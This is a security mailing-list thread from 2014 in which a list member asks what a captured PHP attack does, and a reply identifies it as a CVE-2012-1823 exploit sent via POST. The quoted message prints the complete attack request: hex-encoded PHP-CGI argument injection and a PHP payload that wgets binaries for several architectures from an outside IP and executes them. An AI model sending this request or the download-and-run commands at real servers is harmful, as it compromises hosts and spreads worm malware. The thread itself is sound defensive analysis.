Re: What does this PHP exploit do?

[Jon Hart <jhart () spoofed org>]

I believe this is exploiting CVE-2012-1823 but utilizing POST to bypass URL
length limits, IDS/IPS/monitoring, etc.

-jon

On Fri, Oct 10, 2014 at 12:28 PM, Dave Horsfall <dave () horsfall org> wrote:

> My apologies if this is off-topic for this list, but out of all the
> security lists of which I am a member this seems to be the closest one
> that fits, so please point me to a more appropriate one in that case..
>
> I'm trying to figure out what this exploit does; it started around the
> time that Shellshock did, but I don't think that they're related.
>
> It downloads binaries for several architectures (even a MIPS) which
> amongst other things futzes around with IPTABLES (including blocking the
> TELNET port) and appears to be self-reproducing.
>
> The hex-encoded stuff in the script below decodes to
>
>
> "-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n"
>
> but my PHP-fu doesn't quite extend that far (and that "safe_mode=off"
> looks a bit suss).
>
> Script below, kindly supplied by 0wned boxes the world over (in this case,
> Korea):
>
> POST
> /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
> HTTP/1.1
> Host: xxx.xxx.xxx.xxx
> User-Agent: Mozilla/5.0 (compatible; Zollard; Linux)
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 1817
> Connection: close
>
> <?php
> echo "Zollard";
> $disablefunc = @ini_get("disable_functions");
> if (!empty($disablefunc))
> {
>  $disablefunc = str_replace(" ","",$disablefunc);
>  $disablefunc = explode(",",$disablefunc);
> }
> function myshellexec($cmd)
> {
>  global $disablefunc;
>  $result = "";
>  if (!empty($cmd))
>  {
>   if (is_callable("exec") and !in_array("exec",$disablefunc))
> {exec($cmd,$result); $result = join("\n",$result);}
>   elseif (($result = `$cmd`) !== FALSE) {}
>   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v
> = @ob_get_contents(); @ob_clean(); system($cmd); $result =
> @ob_get_contents(); @ob_clean(); echo $v;}
>   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc))
> {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result =
> @ob_get_contents(); @ob_clean(); echo $v;}
>   elseif (is_resource($fp = popen($cmd,"r")))
>   {
>    $result = "";
>    while(!feof($fp)) {$result .= fread($fp,1024);}
>    pclose($fp);
>   }
>  }
>  return $result;
> }
> myshellexec("rm -rf /tmp/armeabi;wget -P /tmp
> http://119.206.52.15:58455/armeabi;chmod +x /tmp/armeabi");
> myshellexec("rm -rf /tmp/arm;wget -P /tmp
> http://119.206.52.15:58455/arm;chmod +x /tmp/arm");
> myshellexec("rm -rf /tmp/ppc;wget -P /tmp
> http://119.206.52.15:58455/ppc;chmod +x /tmp/ppc");
> myshellexec("rm -rf /tmp/mips;wget -P /tmp
> http://119.206.52.15:58455/mips;chmod +x /tmp/mips");
> myshellexec("rm -rf /tmp/mipsel;wget -P /tmp
> http://119.206.52.15:58455/mipsel;chmod +x /tmp/mipsel");
> myshellexec("rm -rf /tmp/x86;wget -P /tmp
> http://119.206.52.15:58455/x86;chmod +x /tmp/x86");
> myshellexec("rm -rf /tmp/nodes;wget -P /tmp
> http://119.206.52.15:58455/nodes;chmod +x /tmp/nodes");
> myshellexec("rm -rf /tmp/sig;wget -P /tmp
> http://119.206.52.15:58455/sig;chmod +x /tmp/sig");
>
> myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
>
> -- Dave